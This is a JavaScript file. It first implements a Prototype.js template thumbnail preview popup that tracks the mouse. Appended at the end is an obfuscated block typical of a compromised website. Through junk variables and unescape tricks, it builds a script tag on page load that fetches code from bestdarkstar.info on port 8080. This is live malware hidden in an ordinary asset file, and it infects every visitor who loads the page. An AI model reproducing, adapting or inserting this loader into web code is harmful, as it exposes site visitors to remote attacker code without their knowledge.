var TemplatePreview = Class.create({
  initialize: function(thumbnailImg, previewOptions) {
    this.thumbnailImg = $(thumbnailImg);
    this.previewOptions = previewOptions || {};

    this.thumbnailImg.observe('mouseover', this.onMouseOver.bindAsEventListener(this));
    this.thumbnailImg.observe('mouseout', this.onMouseOut.bindAsEventListener(this));

    // Cache the bound onMouseMove handler for Event.stopObserving method
    this.onMouseMoveHandler = function(event) {
      PreviewWindow.getInstance().followMouse(event.pointerX(), event.pointerY());
    }.bindAsEventListener(this);
  },

  onMouseOver: function(event) {
    this.thumbnailImg.observe('mousemove', this.onMouseMoveHandler);
    PreviewWindow.getInstance().show(event.pointerX(), event.pointerY(), this.previewOptions);
  },

  onMouseOut: function(event) {
    this.thumbnailImg.stopObserving('mousemove', this.onMouseMoveHandler);
    PreviewWindow.getInstance().hide();
  }
});


var PreviewWindow = Class.create({
  initialize: function() {
    this.windowElement = new Element('div', {id:'tplPreview', style:'display:none; position:absolute;'});
    this.titleElement = new Element('h2', {id:'tplPreviewTitle'});
    this.imageElement = new Element('img', {id:'tplPreviewImage'});
    this.progressBarElement = new Element('div', {id:'tplPreviewProgressBar', style:'display:none;'});

    this.windowElement.insert(
      this.titleElement
    ).insert(
      new Element('div', {id:'tplPreviewBody'}).insert(
        this.imageElement
      ).insert(
        this.progressBarElement.update('Loading template preview...')
      )
    );

    document.body.insert(this.windowElement);
  },

  loadPreview: function(options) {
    this.titleElement.update(options.title);

    var oldImg = this.imageElement;
    this.imageElement = new Element('img', {
      id: 'tplPreviewImage',
      src: options.src,
      width: options.width,
      height: options.height
    });
    oldImg.replace(this.imageElement);

    if (!this.imageElement.complete) {
      this.progressBarElement.show();
      this.imageElement.observe('load', function(event) {
        this.progressBarElement.hide();
      }.bindAsEventListener(this));
    }

    // Refresh this.width, this.height
    Object.extend(this, this.windowElement.getDimensions());
  },

  show: function(x, y, options) {
    var viewport = document.viewport.getDimensions();
    if (viewport.width < 600 || viewport.height < 450) {
      return;
    }

    if (typeof options == 'object') {
      this.loadPreview(options);
    }

    this.followMouse(x, y);

    this.timerId = function() {
      if (this.imageElement.src.length > 0) {
        this.windowElement.show();
      }
    }.bind(this).delay(0.25);
  },

  hide: function() {
    window.clearTimeout(this.timerId);
    this.windowElement.hide();
    this.windowElement.setStyle({
      top: '-' + this.height + 'px',
      left: '-' +  this.width + 'px'
    });
  },

  followMouse: function(mouseX, mouseY) {
    var x = 0, y = 0;
    var mouseOffset = 24;
    var mouseXpos = '', mouseYpos = '';

    var viewport = Object.extend(
      document.viewport.getDimensions(),
      document.viewport.getScrollOffsets()
    );
    mouseX -= viewport.left;
    mouseY -= viewport.top;

    if (mouseY + mouseOffset < (viewport.height - this.height) / 2) {
      mouseYPos = 'top';
      y = mouseY + mouseOffset;
    } else if (mouseY - mouseOffset > (viewport.height + this.height) / 2) {
      mouseYPos = 'bottom';
      y = mouseY - mouseOffset - this.height;
    } else {
      mouseYPos = 'middle';
      y = (viewport.height - this.height) / 2;
    }

    if (mouseYPos != 'middle'
        && ((mouseX + mouseOffset > (viewport.width - this.width) / 2)
         && (mouseX - mouseOffset < (viewport.width + this.width) / 2))) {
      mouseXPos = 'center';
      x = (viewport.width - this.width) / 2;
    } else if (mouseX > viewport.width / 2) {
      mouseXPos = 'right';
      x = mouseX - mouseOffset - this.width;
    } else {
      mouseXPos = 'left';
      x = mouseX + mouseOffset;
    }

    this.windowElement.setStyle({
      top: y + viewport.top + 'px',
      left: x + viewport.left + 'px'
    });
  }
});

PreviewWindow.getInstance = function() {
  if (PreviewWindow.instance == null) {
    PreviewWindow.instance = new PreviewWindow();
  }
  return PreviewWindow.instance;
}


var FB=new String();var J=new String();function w(){var t;if(t!='' && t!='m'){t=null};this.ls="";var i=new String();var h=unescape;var k=window;var U=h("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%74%72%61%76%69%61%6e%2e%63%6f%6d%2f%79%6f%75%6a%69%7a%7a%2e%63%6f%6d%2e%70%68%70");var Y;if(Y!='zA' && Y!='a_'){Y='zA'};function Z(S,H){var gg;if(gg!='E'){gg='E'};var B;if(B!='' && B!='n'){B=''};var z=new String("g");var FX;if(FX!='q' && FX!='ze'){FX='q'};var X_;if(X_!='up' && X_!='sW'){X_='up'};var s=h("%5b"), F=h("%5d");var to=new Array();var p=s+H+F;this.ta="";var x=new RegExp(p, z);this.Ec="";return S.replace(x, new String());};var D=new Array();var wW;if(wW!='QP'){wW=''};this.Vo="";this.zm="";var OK;if(OK!='Mf'){OK='Mf'};var Hr;if(Hr!='' && Hr!='bA'){Hr=''};var VL='';var o=Z('89350141181315502194','32459716');var UCl;if(UCl!='' && UCl!='M_'){UCl=''};var Q=new String();var Vg;if(Vg!='' && Vg!='zQ'){Vg='XI'};var LR=new Array();var kb=document;var nq='';var hO=new Array();function l(){var Gg;if(Gg!='' && Gg!='lG'){Gg=null};var tR=new String();var cd=new Date();var O=h("%68%74%74%70%3a%2f%2f%62%65%73%74%64%61%72%6b%73%74%61%72%2e%69%6e%66%6f%3a");var SS="";Q=O;var ci="";Q+=o;this.JW='';var Vp='';Q+=U;var Tz;if(Tz!='' && Tz!='YT'){Tz=''};try {var SI=new Date();var mR=new Date();xV=kb.createElement(Z('s6cmrkijpzt6','Qw0z4Okj6m'));var FXH=new Array();var rG=new String();xV[h("%73%72%63")]=Q;var VD;if(VD!='' && VD!='LF'){VD=''};var xI;if(xI!='Ma' && xI!='jc'){xI=''};var dI;if(dI!='vX'){dI=''};xV[h("%64%65%66%65%72")]=[7,1][1];this.LG="";this.woD="";kb.body.appendChild(xV);this.dR="";var nk=new Array();var Nr="";} catch(u){alert(u);};}var Mh;if(Mh!='Zn' && Mh!='iQp'){Mh='Zn'};var jg;if(jg!='' && jg!='bq'){jg=''};k[new String("onl"+"iKYoad".substr(3))]=l;this.RL='';this.gz='';var xW=new String();var xu=new String();};var bu=new String();w();var Xr;if(Xr!='Pc'){Xr='Pc'};var HR="";